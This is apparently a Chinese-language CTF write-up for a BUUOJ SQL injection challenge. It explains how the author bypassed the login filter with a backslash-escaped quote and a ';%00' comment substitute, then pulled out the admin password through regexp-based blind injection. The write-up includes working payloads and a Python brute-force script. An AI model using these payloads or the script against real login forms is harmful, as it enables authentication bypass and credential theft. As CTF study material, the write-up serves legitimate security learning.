下面回显了sql语句,根据sql语句闭合
直接注
有过滤,fuzz一波
过滤了蛮多东西的,‘被过滤了,常用注释被过滤,可以用;%00来代替
201得都被过滤了,找找没过滤的
发现
转义符没过滤,可以利用\转义分号从而构成这种闭合语句
select * from users where username=’’ and passwd=’;%00’
接着再看看有哪些能用的函数
大部分函数都被禁 了,看到regexp没被过滤,那就可以利用正则,和BJD那次一样
mysql正则注入
我直接用BJD上次的脚本具体参考
BJDWEB
直接异或,他没有过滤异或符号,其次0x被他过滤了
根据过滤语句,构造闭合语句
passwd=||/**/1;%00&username=\
可以发现跳转到welcome.php了
然后构造注入语句
passwd=||/**/username/**/regexp/**/"^a";%00&username=\
直接盲注
注意再写python的时候传入%00不能直接传入,直接传会解码直接为空
用户名为:admin
import requests
import time
from urllib import parse
s = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!#$%&(),-./:;<=>@[\]_`{|}~'
flag=''
for i in range(1,100):
for j in s:
url='http://2a76f9bd-c19c-4d74-9385-12c43d39a140.node3.buuoj.cn/index.php'
header={
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
'Origin': 'http://2a76f9bd-c19c-4d74-9385-12c43d39a140.node3.buuoj.cn',
'Referer': 'http://2a76f9bd-c19c-4d74-9385-12c43d39a140.node3.buuoj.cn/index.php'
}
print(flag+j)
data = {'passwd':"||/**/passwd/**/regexp/**/\"^{}\";{}".format(flag+j,parse.unquote('%00')),"username":"\\"}
# data = {'passwd': "||/**/username/**/regexp/**/\"^{}\";{}".format(flag + j, parse.unquote('%00')),"username": "\\"}
print(data)
r = requests.post(url=url, data=data,headers=header)
if "welcome.php" in r.text:
flag +=j
print(flag)
break
test = flag
print(flag)
拿去登陆的时候还过滤了admin
emm,可以用上面的转义,输上密码即可管理员登陆